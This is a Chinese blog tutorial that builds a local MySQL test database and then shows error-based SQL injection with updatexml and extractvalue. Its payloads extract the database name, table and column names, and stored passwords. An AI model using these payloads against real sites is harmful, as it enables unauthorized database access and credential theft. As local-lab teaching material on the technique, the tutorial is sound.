MySQL注入 | updatexml和extractvalue函数

SQL注入 | updatexml和extractvalue函数

一、自己搭建数据库及其内容

1.本地phpstudy打开phpmyAdmin
在这里插入图片描述
2.登录本机数据库的用户名及密码,并执行
在这里插入图片描述
3.点击数据库,输入我们想创建的库名(如:test123),点击创建
在这里插入图片描述
4.如下图所示,及数据库创建成功
在这里插入图片描述
5.进入到test123这个数据库中
在这里插入图片描述
6.点击创建数据表
在这里插入图片描述
7.输入数据表名,字段不够用的话,自行增加即可,此处表中设置了三个字段分别是id,name,password类型这里可以根据自己的需要进行设置,此处三个字段默认均不能为空,并且设置id为主键,其中A_I表示的是自动排序
在这里插入图片描述
8.上述步骤完成后记得保存哦
在这里插入图片描述
9.插入一条数据
在这里插入图片描述

10.输入idnamepassword的值
在这里插入图片描述
11.执行
在这里插入图片描述
12.终端查看表的信息
在这里插入图片描述

二、updatexml函数

(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据
1.本地测试,爆破数据库

select * from user where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);

在这里插入图片描述
2.获取数据表名信息

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test123'),0x7e),1);

在这里插入图片描述
3.获取字段名信息

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test123' and table_name='user'),0x7e),1);

在这里插入图片描述
4.获取字段内容

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1);

在这里插入图片描述

三、extractvalue函数

extractvalue函数:对XML文档进行查询的函数其实就是相当于我们熟悉的HTML文件中用<div><p><a>标签查找元素一样语法: extractvalue(目标xml文档,xml路径)第二个参数xml中的位置是可操作的地方,xml文档中查找字符位置是用/xx/xxx/xoox ...这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1.终端中获取数据库信息

select * from user where id=1 and extractvalue(1,concat(0x7e,database(),0x7e));

在这里插入图片描述

2.获取表名信息

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test123'),0x7e));

在这里插入图片描述
3.获取字段名信息

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test123' and table_name='user'),0x7e));

在这里插入图片描述
4.获取字段内容

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(password) from user),0x7e));

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值